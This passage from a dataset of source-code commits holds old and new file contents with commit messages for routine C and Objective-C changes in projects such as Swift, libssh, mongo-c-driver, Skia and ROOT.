swift\n\n#endif \/\/ SWIFT_BASIC_TIMER_H\n","new_contents":"\/\/===--- Timer.h - Shared timers for compilation phases ---------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_BASIC_TIMER_H\n#define SWIFT_BASIC_TIMER_H\n\n#include \"swift\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/Optional.h\"\n#include \"llvm\/Support\/Timer.h\"\n\nnamespace swift {\n  \/\/\/ A convenience class for declaring a timer that's part of the Swift\n  \/\/\/ compilation timers group.\n  class SharedTimer {\n    enum class State {\n      Initial,\n      Skipped,\n      Enabled\n    };\n    static State CompilationTimersEnabled;\n\n    Optional<llvm::NamedRegionTimer> Timer;\n\n  public:\n    explicit SharedTimer(StringRef name) {\n      if (CompilationTimersEnabled == State::Enabled)\n        Timer.emplace(name, name, \"swift\", \"Swift compilation\");\n      else\n        CompilationTimersEnabled = State::Skipped;\n    }\n\n    \/\/\/ Must be called before any SharedTimers have been created.\n    static void enableCompilationTimers() {\n      assert(CompilationTimersEnabled != State::Skipped &&\n             \"a timer has already been created\");\n      CompilationTimersEnabled = State::Enabled;\n    }\n  };\n} \/\/ end namespace swift\n\n#endif \/\/ SWIFT_BASIC_TIMER_H\n","subject":"Fix 2f21735 to actually distinguish phases.","message":"-debug-time-compilation: Fix 2f21735 to actually distinguish phases.\n\nhttps:\/\/bugs.swift.org\/browse\/SR-4100\n","lang":"C","license":"apache-2.0","repos":"bitjammer\/swift,brentdax\/swift,natecook1000\/swift,atrick\/swift,frootloops\/swift,karwa\/swift,shahmishal\/swift,return\/swift,OscarSwanros\/swift,devincoughlin\/swift,frootloops\/swift,jopamer\/swift,bitjammer\/swift,tkremenek\/swift,airspeedswift\/swift,tjw\/swift,felix91gr\/swift,jckarter\/swift,milseman\/swift,hooman\/swift,xwu\/swift,JGiola\/swift,xedin\/swift,jtbandes\/swift,djwbrown\/swift,CodaFi\/swift,lorentey\/swift,codestergit\/swift,harlanhaskins\/swift,xwu\/swift,manavgabhawala\/swift,jtbandes\/swift,felix91gr\/swift,codestergit\/swift,devincoughlin\/swift,tjw\/swift,jckarter\/swift,OscarSwanros\/swift,jckarter\/swift,bitjammer\/swift,arvedviehweger\/swift,jmgc\/swift,airspeedswift\/swift,frootloops\/swift,practicalswift\/swift,practicalswift\/swift,djwbrown\/swift,karwa\/swift,calebd\/swift,roambotics\/swift,tkremenek\/swift,hughbe\/swift,gregomni\/swift,xedin\/swift,devincoughlin\/swift,aschwaighofer\/swift,danielmartin\/swift,sschiau\/swift,aschwaighofer\/swift,stephentyrone\/swift,Jnosh\/swift,manavgabhawala\/swift,jopamer\/swift,natecook1000\/swift,JGiola\/swift,tkremenek\/swift,danielmartin\/swift,glessard\/swift,jmgc\/swift,xwu\/swift,aschwaighofer\/swift,ahoppen\/swift,tkremenek\/swift,milseman\/swift,allevato\/swift,Jnosh\/swift,CodaFi\/swift,swiftix\/swift,swiftix\/swift,Jnosh\/swift,atrick\/swift,huonw\/swift,deyton\/swift,roambotics\/swift,gribozavr\/swift,djwbrown\/swift,hughbe\/swift,glessard\/swift,amraboelela\/swift,xedin\/swift,roambotics\/swift,austinzheng\/swift,sschiau\/swift,felix91gr\/swift,CodaFi\/swift,stephentyrone\/swift,shahmishal\/swift,gregomni\/swift,stephentyrone\/swift,calebd\/swift,jopamer\/swift,uasys\/swift,OscarSwanros\/swift,manavgabhawala\/swift,parkera\/swift,Jnosh\/swift,airspeedswift\/swift,nathawes\/swift,jopamer\/swift,atrick\/swift,alblue\/swift,stephentyrone\/swift,natecook1000\/swift,Jnosh\/swift,karwa\/swift,shajrawi\/swift,shahmishal\/swift,amraboelela\/swift,hooman\/swift,tinysun212\/swift-windows,arvedviehweger\/swift,aschwaighofer\/swift,deyton\/swift,atrick\/swift,milseman\/swift,brentdax\/swift,benlangmuir\/swift,felix91gr\/swift,gribozavr\/swift,devincoughlin\/swift,harlanhaskins\/swift,shajrawi\/swift,allevato\/swift,CodaFi\/swift,deyton\/swift,apple\/swift,roambotics\/swift,practicalswift\/swift,jmgc\/swift,jmgc\/swift,uasys\/swift,frootloops\/swift,jtbandes\/swift,glessard\/swift,CodaFi\/swift,lorentey\/swift,Jnosh\/swift,tjw\/swift,rudkx\/swift,shahmishal\/swift,huonw\/swift,bitjammer\/swift,jopamer\/swift,natecook1000\/swift,benlangmuir\/swift,airspeedswift\/swift,allevato\/swift,karwa\/swift,huonw\/swift,ahoppen\/swift,calebd\/swift,jtbandes\/swift,devincoughlin\/swift,parkera\/swift,rudkx\/swift,benlangmuir\/swift,danielmartin\/swift,jckarter\/swift,zisko\/swift,hooman\/swift,milseman\/swift,airspeedswift\/swift,alblue\/swift,allevato\/swift,harlanhaskins\/swift,stephentyrone\/swift,shahmishal\/swift,arvedviehweger\/swift,tinysun212\/swift-windows,hughbe\/swift,codestergit\/swift,calebd\/swift,return\/swift,uasys\/swift,karwa\/swift,gribozavr\/swift,parkera\/swift,xedin\/swift,benlangmuir\/swift,return\/swift,codestergit\/swift,xedin\/swift,gribozavr\/swift,amraboelela\/swift,rudkx\/swift,glessard\/swift,practicalswift\/swift,austinzheng\/swift,natecook1000\/swift,ahoppen\/swift,gribozavr\/swift,hooman\/swift,amraboelela\/swift,shajrawi\/swift,practicalswift\/swift,gribozavr\/swift,arvedviehweger\/swift,bitjammer\/swift,allevato\/swift,alblue\/swift,brentdax\/swift,deyton\/swift,nathawes\/swift,bitjammer\/swift,lorentey\/swift,shajrawi\/swift,parkera\/swift,shahmishal\/swift,tkremenek\/swift,manavgabhawala\/swift,austinzheng\/swift,djwbrown\/swift,huonw\/swift,danielmartin\/swift,hughbe\/swift,parkera\/swift,return\/swift,jtbandes\/swift,uasys\/swift,lorentey\/swift,parkera\/swift,sschiau\/swift,xwu\/swift,swiftix\/swift,milseman\/swift,djwbrown\/swift,devincoughlin\/swift,rudkx\/swift,glessard\/swift,apple\/swift,manavgabhawala\/swift,tjw\/swift,amraboelela\/swift,sschiau\/swift,milseman\/swift,OscarSwanros\/swift,danielmartin\/swift,atrick\/swift,xwu\/swift,deyton\/swift,sschiau\/swift,OscarSwanros\/swift,amraboelela\/swift,rudkx\/swift,return\/swift,jckarter\/swift,codestergit\/swift,gregomni\/swift,sschiau\/swift,natecook1000\/swift,jckarter\/swift,felix91gr\/swift,benlangmuir\/swift,practicalswift\/swift,karwa\/swift,danielmartin\/swift,jtbandes\/swift,zisko\/swift,hooman\/swift,harlanhaskins\/swift,lorentey\/swift,tinysun212\/swift-windows,arvedviehweger\/swift,frootloops\/swift,tinysun212\/swift-windows,JGiola\/swift,nathawes\/swift,JGiola\/swift,manavgabhawala\/swift,codestergit\/swift,apple\/swift,apple\/swift,glessard\/swift,arvedviehweger\/swift,zisko\/swift,jckarter\/swift,hughbe\/swift,allevato\/swift,xedin\/swift,harlanhaskins\/swift,uasys\/swift,CodaFi\/swift,calebd\/swift,return\/swift,rudkx\/swift,lorentey\/swift,sschiau\/swift,apple\/swift,brentdax\/swift,brentdax\/swift,lorentey\/swift,zisko\/swift,hooman\/swift,nathawes\/swift,devincoughlin\/swift,alblue\/swift,JGiola\/swift,jtbandes\/swift,xedin\/swift,shahmishal\/swift,lorentey\/swift,shajrawi\/swift,manavgabhawala\/swift,danielmartin\/swift,hooman\/swift,swiftix\/swift,hughbe\/swift,tinysun212\/swift-windows,tinysun212\/swift-windows,shahmishal\/swift,apple\/swift,huonw\/swift,huonw\/swift,jmgc\/swift,tinysun212\/swift-windows,ahoppen\/swift,codestergit\/swift,amraboelela\/swift,xwu\/swift,harlanhaskins\/swift,stephentyrone\/swift,tkremenek\/swift,milseman\/swift,jopamer\/swift,calebd\/swift,zisko\/swift,nathawes\/swift,zisko\/swift,austinzheng\/swift,sschiau\/swift,calebd\/swift,tkremenek\/swift,stephentyrone\/swift,gregomni\/swift,swiftix\/swift,ahoppen\/swift,uasys\/swift,deyton\/swift,gribozavr\/swift,djwbrown\/swift,austinzheng\/swift,airspeedswift\/swift,gregomni\/swift,aschwaighofer\/swift,alblue\/swift,brentdax\/swift,djwbrown\/swift,austinzheng\/swift,harlanhaskins\/swift,tjw\/swift,deyton\/swift,karwa\/swift,felix91gr\/swift,natecook1000\/swift,frootloops\/swift,swiftix\/swift,uasys\/swift,airspeedswift\/swift,shajrawi\/swift,jmgc\/swift,ahoppen\/swift,felix91gr\/swift,frootloops\/swift,arvedviehweger\/swift,nathawes\/swift,tjw\/swift,devincoughlin\/swift,aschwaighofer\/swift,CodaFi\/swift,swiftix\/swift,roambotics\/swift,alblue\/swift,bitjammer\/swift,atrick\/swift,gribozavr\/swift,huonw\/swift,JGiola\/swift,hughbe\/swift,benlangmuir\/swift,practicalswift\/swift,allevato\/swift,zisko\/swift,xwu\/swift,OscarSwanros\/swift,gregomni\/swift,Jnosh\/swift,alblue\/swift,jopamer\/swift,jmgc\/swift,aschwaighofer\/swift,karwa\/swift,shajrawi\/swift,shajrawi\/swift,practicalswift\/swift,roambotics\/swift,nathawes\/swift,austinzheng\/swift,parkera\/swift,parkera\/swift,return\/swift,xedin\/swift,OscarSwanros\/swift,brentdax\/swift,tjw\/swift"}
{"commit":"9c77ab663af99b59a73e9698b8c69029c248b9e8","old_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","new_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","old_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n\tvoid *main_module;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","new_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","subject":"Revert \"Add support for the Python Stdout Log\"","message":"Revert \"Add support for the Python Stdout Log\"\n\nThis reverts commit 6dd58324c052cc893f6ce8f009903805185a71d1.\n","lang":"C","license":"mit","repos":"kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,kitelightning\/UnrealEnginePython,getnamo\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,getnamo\/UnrealEnginePython,getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython,getnamo\/UnrealEnginePython,kitelightning\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython"}
{"commit":"308768c5b18790f8154396db181abefca65c699c","old_file":"cbits\/counter.c","new_file":"cbits\/counter.c","old_contents":"#include <stdlib.h>\n#include \"HsFFI.h\"\n\nStgInt* hs_counter_new(void) {\n  StgInt* counter = malloc(sizeof(StgInt));\n  *counter = 0;\n  return counter;\n}\nvoid hs_counter_add(volatile StgInt* counter, StgInt n) {\n  StgInt temp = n;\n#if SIZEOF_VOID_P == 8\n  __asm__ __volatile__(\"lock; xaddq %0,%1\"\n#elif SIZEOF_VOID_P == 4\n  __asm__ __volatile__(\"lock; xaddl %0,%1\"\n#else\n# error GHC untested on this architecture: sizeof(void *) != 4 or 8\n#endif\n                       : \"+r\" (temp), \"+m\" (*counter)\n                       : : \"cc\", \"memory\");\n}\n\nStgInt hs_counter_read(volatile const StgInt* counter) {\n  return *counter;\n}\n","new_contents":"#include <stdlib.h>\n#include \"HsFFI.h\"\n\nStgInt* hs_counter_new(void) {\n  StgInt* counter = malloc(sizeof(StgInt));\n  *counter = 0;\n  return counter;\n}\nvoid hs_counter_add(volatile StgInt* counter, StgInt n) {\n  __sync_fetch_and_add(counter, n);\n}\n\nStgInt hs_counter_read(volatile const StgInt* counter) {\n  return *counter;\n}\n","subject":"Use GCC builtins instead of inline asm","message":"Use GCC builtins instead of inline asm\n","lang":"C","license":"bsd-3-clause","repos":"sopvop\/ekg,bitemyapp\/ekg,seanparsons\/ekg,sopvop\/ekg,bitemyapp\/ekg,seanparsons\/ekg"}
{"commit":"2faaefade94d1ded2d246a90081aca781d6ff56e","old_file":"tests\/torture.c","new_file":"tests\/torture.c","old_contents":"#include <stdio.h>\n#include <libssh\/libssh.h>\n\n#include \"torture.h\"\n\nstatic int verbosity = 0;\n\nint torture_libssh_verbosity(void){\n  return verbosity;\n}\n\nint main(int argc, char **argv) {\n    int rc;\n\n    (void) argc;\n    (void) argv;\n\n    ssh_init();\n\n    rc = torture_run_tests();\n\n    ssh_finalize();\n\n    return rc;\n}\n","new_contents":"#include \"torture.h\"\n\n#include <stdio.h>\n\nstatic int verbosity = 0;\n\nint torture_libssh_verbosity(void){\n  return verbosity;\n}\n\nint main(int argc, char **argv) {\n    (void) argc;\n    (void) argv;\n\n    return torture_run_tests();\n}\n","subject":"Revert \"tests: Call ssh_init() and ssh_finalize() before we run the tests.\"","message":"Revert \"tests: Call ssh_init() and ssh_finalize() before we run the tests.\"\n\nReason: breaks test_rand, because threading has to be initialized\nbefore ssh_init()\n\nThis reverts commit ef1866db76ed10d64bf8cf97111554b2b2eb1278.\n","lang":"C","license":"lgpl-2.1","repos":"kedazo\/libssh,sebadoom\/libssh,bigcat26\/libssh-mod,miloj\/libssh-v0.5,sebadoom\/libssh,pouete\/libssh,mwgoldsmith\/ssh,jahrome\/libssh,taikoo\/libssh,kedazo\/libssh,Distrotech\/libssh,DouglasHeriot\/libssh,rofl0r\/libssh,robxu9\/libssh,sebadoom\/libssh,taikoo\/libssh,robxu9\/libssh,DouglasHeriot\/libssh,jt1\/honeypot-libssh,nviennot\/libssh,jt1\/honeypot-libssh,mwgoldsmith\/libssh,miloj\/libssh-v0.5,pouete\/libssh,robxu9\/libssh,kedazo\/libssh,nviennot\/libssh,miloj\/libssh-v0.5,rofl0r\/libssh,jahrome\/libssh,DouglasHeriot\/libssh,robxu9\/libssh,nviennot\/libssh,taikoo\/libssh,bigcat26\/libssh-mod,jt1\/honeypot-libssh,bigcat26\/libssh-mod,miloj\/libssh-v0.5,rofl0r\/libssh,nviennot\/libssh,elastichosts\/libssh,Distrotech\/libssh,mwgoldsmith\/ssh,pouete\/libssh,jahrome\/libssh,mwgoldsmith\/ssh,taikoo\/libssh,sebadoom\/libssh,DouglasHeriot\/libssh,bigcat26\/libssh-mod,substack\/libssh,wangshawn\/libssh,elastichosts\/libssh,mwgoldsmith\/libssh,elastichosts\/libssh,substack\/libssh,pouete\/libssh,wangshawn\/libssh,kedazo\/libssh,mwgoldsmith\/libssh,jt1\/honeypot-libssh,Distrotech\/libssh,Distrotech\/libssh,jahrome\/libssh,substack\/libssh,mwgoldsmith\/libssh,wangshawn\/libssh,mwgoldsmith\/ssh,rofl0r\/libssh,wangshawn\/libssh,substack\/libssh"}
{"commit":"4909c1c0f260f2fcae73dd48982e2a4f22025e99","old_file":"tests\/test-x509.c","new_file":"tests\/test-x509.c","old_contents":"#include <mongoc.h>\n#include <mongoc-openssl-private.h>\n\n#include \"TestSuite.h\"\n\n\nstatic void\ntest_extract_subject (void)\n{\n   char *subject;\n\n   subject = _mongoc_openssl_extract_subject (BINARY_DIR\"\/..\/certificates\/client.pem\");\n   ASSERT (0 == strcmp (subject, \"CN=client,OU=kerneluser,O=10Gen,L=New York City,ST=New York,C=US\"));\n   bson_free (subject);\n}\n\n\nvoid\ntest_x509_install (TestSuite *suite)\n{\n   TestSuite_Add (suite, \"\/SSL\/extract_subject\", test_extract_subject);\n}\n","new_contents":"#include <mongoc.h>\n#include <mongoc-openssl-private.h>\n\n#include \"TestSuite.h\"\n\n\nstatic void\ntest_extract_subject (void)\n{\n   char *subject;\n\n   subject = mongoc_ssl_extract_subject (BINARY_DIR\"\/..\/certificates\/client.pem\");\n   ASSERT_CMPSTR (subject, \"CN=client,OU=kerneluser,O=10Gen,L=New York City,ST=New York,C=US\");\n   bson_free (subject);\n}\n\n\nvoid\ntest_x509_install (TestSuite *suite)\n{\n   TestSuite_Add (suite, \"\/SSL\/extract_subject\", test_extract_subject);\n}\n","subject":"Improve test output on failure","message":"Improve test output on failure\n","lang":"C","license":"apache-2.0","repos":"remicollet\/mongo-c-driver,acmorrow\/mongo-c-driver,christopherjwang\/mongo-c-driver,mschoenlaub\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,mongodb\/mongo-c-driver,derickr\/mongo-c-driver,jmikola\/mongo-c-driver,Machyne\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,remicollet\/mongo-c-driver,bjori\/mongo-c-driver,bjori\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,bjori\/mongo-c-driver,jmikola\/mongo-c-driver,rcsanchez97\/mongo-c-driver,Machyne\/mongo-c-driver,beingmeta\/mongo-c-driver,derickr\/mongo-c-driver,bjori\/mongo-c-driver,ajdavis\/mongo-c-driver,malexzx\/mongo-c-driver,remicollet\/mongo-c-driver,beingmeta\/mongo-c-driver,remicollet\/mongo-c-driver,ac000\/mongo-c-driver,acmorrow\/mongo-c-driver,rcsanchez97\/mongo-c-driver,ac000\/mongo-c-driver,ajdavis\/mongo-c-driver,mongodb\/mongo-c-driver,jmikola\/mongo-c-driver,jmikola\/mongo-c-driver,bjori\/mongo-c-driver,rcsanchez97\/mongo-c-driver,ajdavis\/mongo-c-driver,bjori\/mongo-c-driver,derickr\/mongo-c-driver,derickr\/mongo-c-driver,christopherjwang\/mongo-c-driver,ajdavis\/mongo-c-driver,malexzx\/mongo-c-driver,mongodb\/mongo-c-driver,Machyne\/mongo-c-driver,malexzx\/mongo-c-driver,christopherjwang\/mongo-c-driver,ajdavis\/mongo-c-driver,remicollet\/mongo-c-driver,jmikola\/mongo-c-driver,rcsanchez97\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,acmorrow\/mongo-c-driver,mschoenlaub\/mongo-c-driver,ajdavis\/mongo-c-driver,ac000\/mongo-c-driver,rcsanchez97\/mongo-c-driver,beingmeta\/mongo-c-driver,acmorrow\/mongo-c-driver,acmorrow\/mongo-c-driver,remicollet\/mongo-c-driver,Machyne\/mongo-c-driver,beingmeta\/mongo-c-driver,rcsanchez97\/mongo-c-driver,mongodb\/mongo-c-driver,mongodb\/mongo-c-driver,beingmeta\/mongo-c-driver,acmorrow\/mongo-c-driver,mongodb\/mongo-c-driver,derickr\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,christopherjwang\/mongo-c-driver,bjori\/mongo-c-driver,jmikola\/mongo-c-driver,malexzx\/mongo-c-driver,jmikola\/mongo-c-driver,acmorrow\/mongo-c-driver,beingmeta\/mongo-c-driver,mschoenlaub\/mongo-c-driver,ajdavis\/mongo-c-driver,mschoenlaub\/mongo-c-driver,mongodb\/mongo-c-driver,remicollet\/mongo-c-driver,derickr\/mongo-c-driver,derickr\/mongo-c-driver,rcsanchez97\/mongo-c-driver,beingmeta\/mongo-c-driver"}
{"commit":"a6e34734d37e483cff850ab23f5541e259e68a5a","old_file":"Specta\/Specta\/SpectaUtility.h","new_file":"Specta\/Specta\/SpectaUtility.h","old_contents":"#import <Foundation\/Foundation.h>\n\nextern NSString * const spt_kCurrentTestSuiteKey;\nextern NSString * const spt_kCurrentSpecKey;\n\n#define SPTCurrentTestSuite [[NSThread currentThread] threadDictionary][spt_kCurrentTestSuiteKey]\n#define SPTCurrentSpec  [[NSThread currentThread] threadDictionary][spt_kCurrentSpecKey]\n#define SPTCurrentGroup     [SPTCurrentTestSuite currentGroup]\n#define SPTGroupStack       [SPTCurrentTestSuite groupStack]\n\n#define SPTReturnUnlessBlockOrNil(block) if ((block) && !SPTIsBlock((block))) return;\n#define SPTIsBlock(obj) [(obj) isKindOfClass:NSClassFromString(@\"NSBlock\")]\n\nBOOL spt_isSpecClass(Class aClass);\nNSString *spt_underscorize(NSString *string);\nNSArray *spt_map(NSArray *array, id (^block)(id obj, NSUInteger idx));\nNSArray *spt_shuffle(NSArray *array);\nunsigned int spt_seed();","new_contents":"#import <Foundation\/Foundation.h>\n\nextern NSString * const spt_kCurrentTestSuiteKey;\nextern NSString * const spt_kCurrentSpecKey;\n\n#define SPTCurrentTestSuite [[NSThread mainThread] threadDictionary][spt_kCurrentTestSuiteKey]\n#define SPTCurrentSpec  [[NSThread mainThread] threadDictionary][spt_kCurrentSpecKey]\n#define SPTCurrentGroup     [SPTCurrentTestSuite currentGroup]\n#define SPTGroupStack       [SPTCurrentTestSuite groupStack]\n\n#define SPTReturnUnlessBlockOrNil(block) if ((block) && !SPTIsBlock((block))) return;\n#define SPTIsBlock(obj) [(obj) isKindOfClass:NSClassFromString(@\"NSBlock\")]\n\nBOOL spt_isSpecClass(Class aClass);\nNSString *spt_underscorize(NSString *string);\nNSArray *spt_map(NSArray *array, id (^block)(id obj, NSUInteger idx));\nNSArray *spt_shuffle(NSArray *array);\nunsigned int spt_seed();","subject":"Fix for reporting specta\/expecta failures on the main thread.","message":"Fix for reporting specta\/expecta failures on the main thread.\n","lang":"C","license":"mit","repos":"alvinvarghese\/specta,jmoody\/specta,lmtim\/specta,specta\/specta,ExtremeMan\/specta,PatrykKaczmarek\/specta,adamkaplan\/specta,ernestopino\/specta,flovilmart\/specta,segiddins\/specta,dbarden\/specta,iosdev-republicofapps\/specta,wessmith\/specta,ShawnLeee\/specta,Vungle\/specta,hanangellove\/specta,Lightricks\/specta,Taptera\/specta,rad3ks\/specta,iguchunhui\/specta,mickeyreiss\/specta"}
{"commit":"28897da572e0d9b63c40fd66cbd4335a7236feb5","old_file":"Artsy\/Tooling\/ARDispatchManager.h","new_file":"Artsy\/Tooling\/ARDispatchManager.h","old_contents":"\/\/ Dispatches asyncronously unless ARPerformWorkSynchronously is set on the shared dispatch manager\nextern void ar_dispatch_async(dispatch_block_t block);\n\n\/\/ Dispatches to the main queue unless ARPerformWorkSynchronously is set on the shared dispatch manager\nextern void ar_dispatch_main_queue(dispatch_block_t block);\n\n\/\/ Dispatches to a queue unless ARPerformWorkSynchronously is set on the shared dispatch manager\nextern void ar_dispatch_on_queue(dispatch_queue_t queue, dispatch_block_t block);\n\nextern void ar_dispatch_after_on_queue(float seconds, dispatch_queue_t queue, dispatch_block_t block);\n\nextern void ar_dispatch_after(float seconds, dispatch_block_t block);\n\n\n@interface ARDispatchManager : NSObject\n\n+ (instancetype)sharedManager;\n\n@end\n","new_contents":"extern void ar_dispatch_async(dispatch_block_t block);\n\nextern void ar_dispatch_main_queue(dispatch_block_t block);\n\n\/\/ Dispatches to a queue unless ARPerformWorkAsynchronously is set to false\nextern void ar_dispatch_on_queue(dispatch_queue_t queue, dispatch_block_t block);\n\nextern void ar_dispatch_after_on_queue(float seconds, dispatch_queue_t queue, dispatch_block_t block);\n\nextern void ar_dispatch_after(float seconds, dispatch_block_t block);\n\n\n@interface ARDispatchManager : NSObject\n\n+ (instancetype)sharedManager;\n\n@end\n","subject":"Remove + fix erroneous comments","message":"Remove + fix erroneous comments\n","lang":"C","license":"mit","repos":"gaurav1981\/eigen,Shawn-WangDapeng\/eigen,mbogh\/eigen,neonichu\/eigen,Havi4\/eigen,ppamorim\/eigen,ichu501\/eigen,mbogh\/eigen,ppamorim\/eigen,Shawn-WangDapeng\/eigen,artsy\/eigen,gaurav1981\/eigen,artsy\/eigen,xxclouddd\/eigen,ichu501\/eigen,Havi4\/eigen,gaurav1981\/eigen,gaurav1981\/eigen,xxclouddd\/eigen,neonichu\/eigen,zhuzhengwei\/eigen,artsy\/eigen,Shawn-WangDapeng\/eigen,mbogh\/eigen,neonichu\/eigen,mbogh\/eigen,xxclouddd\/eigen,ichu501\/eigen,ppamorim\/eigen,orta\/eigen,xxclouddd\/eigen,neonichu\/eigen,zhuzhengwei\/eigen,artsy\/eigen,ichu501\/eigen,orta\/eigen,artsy\/eigen,artsy\/eigen,orta\/eigen,Havi4\/eigen,orta\/eigen,ichu501\/eigen,gaurav1981\/eigen,ppamorim\/eigen,zhuzhengwei\/eigen,Shawn-WangDapeng\/eigen,artsy\/eigen,Shawn-WangDapeng\/eigen,xxclouddd\/eigen,zhuzhengwei\/eigen,Havi4\/eigen,neonichu\/eigen"}
{"commit":"4f56d0f5119e9cf9ba2f3b0f1f8d1eb201e8ea7d","old_file":"include\/utils\/SkNullCanvas.h","new_file":"include\/utils\/SkNullCanvas.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSkCanvas* SkCreateNullCanvas();\n\n#endif\n","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSK_API SkCanvas* SkCreateNullCanvas();\n\n#endif\n","subject":"Add SK_API to null canvas create method","message":"Add SK_API to null canvas create method\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@4221 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,hbwhlklive\/color-emoji.skia"}
{"commit":"76dd5ddb7e99a02e4ac8bc3219faababdd34ad59","old_file":"core\/metautils\/src\/complexLinkdef.h","new_file":"core\/metautils\/src\/complexLinkdef.h","old_contents":"","new_contents":"#include <complex>\n#ifndef __hpux\nusing namespace std;\n#endif\n\n#pragma create TClass std::complex<int>+;\n#pragma create TClass std::complex<long>+;\n#pragma create TClass std::complex<float>+;\n#pragma create TClass std::complex<double>+;\n\n#ifdef G__NATIVELONGLONG\n#pragma create TClass std::complex<long long>+;\n\/\/ #pragma create TClass std::complex<long double>+;\n#endif","subject":"Add missing new files for revision 32092","message":"Add missing new files for revision 32092\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@32093 